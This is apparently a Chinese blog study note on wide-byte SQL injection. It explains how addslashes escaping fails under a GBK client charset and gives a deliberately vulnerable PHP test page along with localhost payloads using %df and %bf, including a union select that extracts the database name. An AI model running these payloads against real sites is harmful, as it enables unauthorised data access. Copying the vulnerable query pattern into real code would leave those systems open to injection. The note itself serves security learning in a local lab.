宽字节注入
0x01前言
原文章:http://plumstar.cn/2022/03/24/sql-zhu-ru-kuan-zi-jie-zhu-ru/
前期在学习SQL注入的时候没有涉及到宽字节注入,被问到了,很尴尬不会,所以浅学习一下宽字节注入
参考:http://wyb0.com/posts/2016/injection-of-wide-byte/
0x02漏洞起因
宽字节注入主要源于程序员设置数据库编码与php编码设置为不同的两种编码,那么就可能产生宽字节注入,
注入时通常会使用单引号、双引号等特殊字符。在应用中,通常为了安全,开发者会开启php的magic_quotes_gpc,或者使用addslashes、mysql_real_escape_string等函数对客户端传入的参数进行过滤,则注入的单引号或双引号就会被"\"
转义,但是,如果服务端的数据库使用的是GB2312、GBK、GB18030等宽字节的编码时
eg:PHP编码为UTF-8而Mysql的编码设置为set names ‘gbk’或是set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞(一个gbk编码汉字,占用2个字节,一个utf-8编码的汉字,占用3个字节)
0x03漏洞简单测试
从wyb位师傅哪里找了一段测试代码,用来测试宽字节注入
<?php
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db('pikachu',$conn);//pikachu需要换成你本地的数据库
if (isset($_GET['id'])) {
$id = addslashes($_GET['id']); //转义id,addslashes — 使用反斜线引用字符串
//返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。
$sql = "select * from users where id='$id';";//users为pikachu中的表,也要换成自己的表
echo $sql."<br />";
$result = mysql_query($sql);
$rows = @mysql_fetch_assoc($result);
if ($rows) {
echo '<table align="left" border="1">';
foreach ($rows as $key => $value) {
echo '<tr align="lift" height="30">';
echo '<td>'.$key.'----'.$value.'</td>';
echo '</tr>';
}
echo '</table>';
} else {
echo mysql_error();
}
} else {
echo "please input id.";
}
?>
当我们输入http://127.0.0.1/SQL.php?id=2'
可以看到原本输入的引号被转义了,导致我们输入的'
和\
组成两个祖父导致语句不报错,下面测试语句错误的情况i
当我们构造一下payload
就会导致报错,例如http://127.0.0.1/SQL.php?id=2%df'
eg:%df
与\
组合成一个字符,而导致多出一个单引号,导致语句报错。利用逃逸出的单引号来构造我们的payload
http://127.0.0.1/SQL.php?id=-1%bf' union select 1,2,database() --+
其实也算联合查询里面的知识,只不过是由于数据库宽字节引起的漏洞,所以还是可以利用的